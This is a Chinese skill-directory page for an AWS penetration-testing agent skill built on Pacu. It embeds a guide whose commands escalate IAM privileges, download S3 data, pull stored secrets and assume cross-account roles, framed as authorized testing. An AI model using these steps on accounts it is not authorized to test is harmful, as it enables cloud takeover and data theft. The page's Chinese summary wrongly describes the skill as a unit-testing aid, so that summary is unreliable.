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Agent Skill · 研究检索

performing-cloud-penetration-testing-with-pacu(使用 pacu 执行云渗透测试)

用于辅助测试设计、自动化测试、用例整理和回归验证。它适合让 Agent 编写单元测试、端到端测试、测试计划或根据失败日志定位问题。使用时需要确认项目测试框架、运行命令和夹具数据,避免为了通过测试而改坏真实逻辑;涉及浏览器或外部服务时,应区分本地模拟、测试环境和生产环境。

performing-cloud-penetration-testing-with-pacu 是研究检索类 Agent Skill,可用宿主为 Codex、Claude、Cursor、Gemini CLI,通过GitHub 仓库获取,权限为接触敏感数据;许可证信息还不明确,第三方扫描有未通过项,按安装量在研究检索类的 73,675 个 Skill 里排第 67,168。

总安装 250周安装 10GitHub Stars 5,923下载 81核验 2026-05-01

安装说明

本站只整理中文说明,不托管安装包,也不代用户安装。
GitHub
许可证
unknown

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:performing-cloud-penetration-testing-with-pacu(使用 pacu 执行云渗透测试)
来源仓库:https://github.com/mukul975/anthropic-cybersecurity-skills
仓库路径:skills/performing-cloud-penetration-testing-with-pacu
安装命令:
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-cloud-penetration-testing-with-pacu
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-cloud-penetration-testing-with-pacu

这个 Skill 是做什么的

研究检索类 Skill 主要解决「找资料、核对事实、把来源整理清楚」的问题,通常会让助手先检索再总结。

用于辅助测试设计、自动化测试和用例整理。适合在 Codex、Claude、Cursor、Gemini CLI 中编写单元或端到端测试。使用时需确认项目测试框架、运行命令及夹具数据,避免修改真实逻辑。涉及浏览器或外部服务时,应区分本地模拟、测试环境与生产环境。

performing-cloud-penetration-testing-with-pacu 属于研究检索类 Skill,可作为该场景下的辅助能力补充。

来源仓库内路径:skills/performing-cloud-penetration-testing-with-pacu

上手步骤

4 步
  1. 1

    确认自己的宿主工具

    公开资料标注支持 Codex、Claude、Cursor、Gemini CLI;先确认自己用的是其中之一,再按对应工具的 Skills 目录放置。

  2. 2

    拿到安装命令

    可以直接复制的命令是 npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skil…;命令里的占位符换成自己的路径或密钥再执行。

  3. 3

    安装后重启宿主

    命令执行完要完全退出宿主工具再打开,让新装的 Skill 被重新扫描到,否则列表里可能看不到。

  4. 4

    按最小权限试用

    它需要接触敏感数据,先在测试目录或测试账号里跑,确认没问题再放到正式项目。

常见问题

6 条

performing-cloud-penetration-testing-with-pacu 怎么安装?

在终端执行 npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performi…。装完完全退出宿主工具再打开,让它重新扫描本地 Skill。

performing-cloud-penetration-testing-with-pacu 支持哪些 AI 工具?

公开资料标注支持 Codex、Claude、Cursor、Gemini CLI。其他工具只要能读取本地 Skill 目录,一般也能手动放进去,但要自己确认触发方式是否一致。

performing-cloud-penetration-testing-with-pacu 需要什么权限?

权限级别是接触敏感数据。该 Skill 可能接触密钥、Token、环境变量或敏感配置,应进入高风险复核队列,默认不自动发布。

performing-cloud-penetration-testing-with-pacu 是免费的吗?

公开资料没有标注明确许可证,收费和商用限制都无法确认。正式使用前请到来源仓库核对授权说明。

performing-cloud-penetration-testing-with-pacu 用的人多吗?

公开数据是累计安装 250 次,近一周安装 10 次,下载 81 次,GitHub 5,923 星。这些数字来自第三方目录统计,只能当作热度参考,不代表质量或安全性。

performing-cloud-penetration-testing-with-pacu 安全吗?

第三方扫描有未通过项,风险较高。除非你确认过源码,否则不建议直接安装到常用环境。

值得选的地方和要先想清楚的地方

值得选的地方

  • 同时适配 4 种工具,换客户端不用重新找替代品。
  • 来源仓库有 5,923 星,维护活跃度相对可查。

先想清楚的地方

  • 需要接触敏感数据,装到常用环境前要先评估影响面。
  • 许可证没有明确标注,能不能商用、能不能再分发都不确定。
  • 第三方扫描存在提醒项或未通过项,需要人工逐条确认。
  • 第三方目录整理,版本更新和行为细节以来源仓库为准。

适不适合你

更适合

  • 已经在用 Codex,想直接扩展它能力的人。
  • 需要处理研究检索类任务、又不想每次都手写提示词的人。

不太适合

  • 环境里有大量密钥、凭证,不方便给第三方 Skill 读取的人。
  • 需要明确授权才能用到公司项目里的场景。
  • 需要厂商级技术支持和 SLA 的生产系统。

研究检索类 Skill 对比

6 个同类
Skill总安装GitHub 星权限许可证扫描
find-skills

寻找技能 · Codex、Claude

31,199,81316,486操作浏览器MIT有提醒
self-improving-agent

自我改进 Agent · OpenClaw

16,464,0023,396接触敏感数据MIT-0通过
soultrace

灵魂追踪 · Codex、Claude

7,588,94412需要联网未明确有提醒
self-improving

自我完善 · OpenClaw

6,829,2841,046需要联网MIT-0通过
microsoft-foundry

微软代工厂 · Codex、Claude

6,614,144764调用外部服务未明确有提醒
performing-cloud-penetration-testing-with-pacu

使用 pacu 执行云渗透测试 · 本页

2505,923接触敏感数据未明确未通过

按安装量取同分类前几名;数字来自第三方目录统计,只作热度参考,不代表质量结论。

SKILL.md 原文

Performing Cloud Penetration Testing with Pacu

When to Use

  • When conducting authorized penetration testing of AWS environments
  • When validating the effectiveness of IAM policies, SCPs, and permission boundaries
  • When assessing the blast radius of a compromised set of AWS credentials
  • When testing detection capabilities of GuardDuty, Security Hub, and custom alerting
  • When building red team exercises against AWS cloud infrastructure

Do not use for unauthorized testing of any AWS account, for testing AWS infrastructure itself (covered by shared responsibility), for DDoS or volumetric attacks without AWS approval, or for production account testing without explicit authorization and breakglass procedures.

Prerequisites

  • Written authorization from the AWS account owner with defined scope and rules of engagement
  • Pacu v1.5+ installed (pip install pacu)
  • Test AWS credentials with limited starting permissions (simulates compromised credential scenario)
  • CloudTrail logging enabled to capture all Pacu activity for post-engagement review
  • GuardDuty enabled to validate detection of Pacu activities
  • Emergency contact and rollback procedures documented

Workflow

Step 1: Initialize Pacu Session and Configure Credentials

Set up a Pacu session with the test credentials and define the engagement scope.

# Install Pacu
pip install pacu

# Start Pacu
pacu

# Create a new session for the engagement
Pacu > set_keys --key-alias pentest-target
# Enter Access Key ID: AKIA...
# Enter Secret Access Key: ...

# Verify identity
Pacu > whoami

# Review available modules
Pacu > list
Pacu > search iam
Pacu > search ec2
Pacu > search s3

Step 2: Enumerate IAM Configuration

Run IAM enumeration modules to map users, roles, policies, and group memberships.

# Comprehensive IAM enumeration
Pacu > run iam__enum_users_roles_policies_groups

# Enumerate detailed permissions for the current principal
Pacu > run iam__enum_permissions

# Enumerate account authorization details (requires iam:GetAccountAuthorizationDetails)
Pacu > run iam__get_credential_report

# Enumerate role trust policies for cross-account access
Pacu > run iam__enum_roles

# Check current session data
Pacu > data iam

Step 3: Scan for Privilege Escalation Paths

Use Pacu's privilege escalation scanner to identify all exploitable escalation vectors.

# Run the privilege escalation scanner
Pacu > run iam__privesc_scan

# The scanner tests for 21+ escalation methods:
# Method 1:  iam:CreatePolicyVersion
# Method 2:  iam:SetDefaultPolicyVersion
# Method 3:  iam:PassRole + ec2:RunInstances
# Method 4:  iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction
# Method 5:  iam:PassRole + lambda:CreateFunction + lambda:CreateEventSourceMapping
# Method 6:  iam:PassRole + glue:CreateDevEndpoint
# Method 7:  iam:PassRole + cloudformation:CreateStack
# Method 8:  iam:PassRole + datapipeline:CreatePipeline
# Method 9:  iam:CreateAccessKey
# Method 10: iam:CreateLoginProfile
# Method 11: iam:UpdateLoginProfile
# Method 12: iam:AttachUserPolicy
# Method 13: iam:AttachGroupPolicy
# Method 14: iam:AttachRolePolicy
# Method 15: iam:PutUserPolicy
# Method 16: iam:PutGroupPolicy
# Method 17: iam:PutRolePolicy
# Method 18: iam:AddUserToGroup
# Method 19: iam:UpdateAssumeRolePolicy
# Method 20: sts:AssumeRole
# Method 21: lambda:UpdateFunctionCode

# If escalation paths found, attempt exploitation
Pacu > run iam__privesc_scan --escalate

Step 4: Enumerate and Test Data Access

Discover accessible data stores including S3, DynamoDB, RDS, and Secrets Manager.

# Enumerate S3 buckets
Pacu > run s3__bucket_finder

# Download S3 bucket data for analysis
Pacu > run s3__download_bucket --bucket target-bucket --dl-names

# Enumerate EC2 instances and extract user data
Pacu > run ec2__enum
Pacu > run ec2__download_userdata

# Enumerate Lambda functions and check for secrets in environment variables
Pacu > run lambda__enum

# Enumerate Secrets Manager
Pacu > run secretsmanager__enum

# Enumerate SSM parameters (often contain secrets)
Pacu > run ssm__download_parameters

# Check for exposed EBS snapshots
Pacu > run ebs__enum_snapshots_unauth

Step 5: Test Lateral Movement and Persistence

Evaluate cross-account access, service exploitation, and persistence mechanisms.

# Test cross-account role assumption
Pacu > run sts__assume_role --role-arn arn:aws:iam::TARGET:role/CrossAccountRole

# Enumerate Lambda for code execution opportunities
Pacu > run lambda__enum
# If lambda:UpdateFunctionCode permission exists, could inject code

# Test EC2 instance connect for lateral movement
Pacu > run ec2__enum
# Check for instances with instance profiles that have broader permissions

# Check for CodeBuild projects (potential credential access)
Pacu > run codebuild__enum

# Enumerate ECS/Fargate for container-based lateral movement
Pacu > run ecs__enum

# Export all discovered data
Pacu > data all

Step 6: Validate Detection and Generate Report

Review whether security controls detected the testing activities and compile findings.

# Check GuardDuty findings generated during testing
aws guardduty list-findings \
  --detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \
  --finding-criteria '{
    "Criterion": {
      "updatedAt": {"GreaterThanOrEqual": ENGAGEMENT_START_EPOCH}
    }
  }' --output json

# Check Security Hub findings
aws securityhub get-findings \
  --filters '{
    "CreatedAt": [{"Start": "ENGAGEMENT_START_ISO", "End": "ENGAGEMENT_END_ISO"}]
  }'

# Export Pacu session data for reporting
Pacu > export_keys --all
Pacu > data all > pacu-session-export.json

# Clean up any test artifacts created during assessment
aws iam delete-user --user-name pacu-test-user 2>/dev/null
aws iam delete-access-key --user-name pacu-test-user --access-key-id AKIA... 2>/dev/null

Key Concepts

TermDefinition
PacuOpen-source AWS exploitation framework maintained by Rhino Security Labs, providing modular attack capabilities for authorized penetration testing
Privilege Escalation ScanAutomated analysis of IAM policies to identify known methods for elevating permissions from limited access to administrative control
iam:PassRoleCritical IAM action allowing a principal to assign roles to AWS services, enabling indirect privilege escalation through Lambda, EC2, or Glue
Cross-Account Role AssumptionUsing sts:AssumeRole to obtain temporary credentials in another AWS account through trust policy configurations
Rules of EngagementDocumented agreement defining the scope, methods, timing, and boundaries of a penetration testing engagement
Post-ExploitationActivities performed after initial access to demonstrate impact, including data access, lateral movement, and persistence establishment

Tools & Systems

  • Pacu: AWS exploitation framework with 50+ modules for enumeration, escalation, persistence, and data exfiltration
  • CloudFox: AWS enumeration tool for identifying attack paths from an attacker perspective
  • Principal Mapper: IAM privilege escalation graph analysis tool for visualizing escalation paths
  • ScoutSuite: Multi-cloud security assessment tool for identifying misconfigurations before testing
  • AWS CloudTrail: Audit logging for capturing all Pacu activities during the engagement

Common Scenarios

Scenario: Red Team Assessment Starting from Compromised Developer Credentials

Context: A red team exercise simulates a scenario where an attacker obtains a developer's AWS access key from a leaked repository. The goal is to determine the maximum impact achievable from this starting point.

Approach:

  1. Initialize Pacu with the compromised credentials and run whoami to confirm identity
  2. Run iam__enum_permissions to map the developer's effective permissions
  3. Execute iam__privesc_scan to identify escalation paths from developer to admin
  4. Discover the developer can call iam:PassRole + lambda:CreateFunction, creating a Lambda with an admin role
  5. Exploit the escalation to obtain admin-level temporary credentials
  6. Enumerate S3 buckets, download sensitive data, and access Secrets Manager
  7. Verify whether GuardDuty detected the escalation and data access activities
  8. Clean up all test artifacts and document the complete attack chain

Pitfalls: Pacu modules can be noisy and generate many API calls in a short time. GuardDuty may trigger Recon:IAMUser/MaliciousIPCaller findings from the tester's IP. Coordinate with the SOC team to whitelist the testing IP or establish a clear communication channel to distinguish testing from real attacks. Always clean up persistence artifacts after testing.

Output Format

AWS Penetration Test Report (Pacu)
=====================================
Target Account: 123456789012
Engagement Period: 2026-02-20 to 2026-02-23
Starting Credentials: Developer role (read-only S3, Lambda invoke)
Authorization: Signed ROE document #PT-2026-015

ATTACK PATH SUMMARY:
  Starting access: S3 read-only, Lambda invoke
  Maximum access achieved: AdministratorAccess (full account compromise)
  Time to admin: 47 minutes
  Detection by GuardDuty: Yes (after 12 minutes)
  Detection by Security Hub: Yes (after 18 minutes)
  SOC response time: 45 minutes (missed the escalation window)

PACU MODULES EXECUTED:
  iam__enum_users_roles_policies_groups: SUCCESS
  iam__enum_permissions: SUCCESS
  iam__privesc_scan: 3 escalation paths found
  s3__download_bucket: 4 buckets accessed
  lambda__enum: 12 functions enumerated
  secretsmanager__enum: 8 secrets retrieved

ESCALATION PATHS EXPLOITED:
  [1] iam:PassRole + lambda:CreateFunction -> AdminRole (CRITICAL)
  [2] sts:AssumeRole -> CrossAccountProdRole (HIGH)
  [3] iam:CreatePolicyVersion on dev-policy (CRITICAL)

DATA ACCESSED:
  S3 objects downloaded: 1,247 files (2.3 GB)
  Secrets Manager values: 8 secrets including DB credentials
  SSM parameters: 23 parameters including API keys

DETECTION RESULTS:
  GuardDuty findings generated: 7
  Security Hub findings: 12
  Custom CloudWatch alarms triggered: 3
  SOC acknowledged: Yes (45 min response)

RECOMMENDATIONS:
  1. Apply permission boundaries to all developer roles
  2. Remove iam:PassRole from non-admin principals
  3. Reduce SOC response time to < 15 minutes for IAM escalation alerts
  4. Implement SCP blocking iam:CreatePolicyVersion in non-admin OUs

平台分布

Codex

38.26%
按下载量换算31

Claude

29.85%
按下载量换算24

Cursor

19.58%
按下载量换算16

Gemini CLI

9.21%
按下载量换算7

安全审计

Gen Agent Trust Hub

可疑

Socket

通过

Snyk

未通过

权限和风险

接触敏感数据

该 Skill 可能接触密钥、Token、环境变量或敏感配置,应进入高风险复核队列,默认不自动发布。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在提醒或未通过项,安装前请自行复核。目前只有一个公开来源,建议同时核对源仓库。

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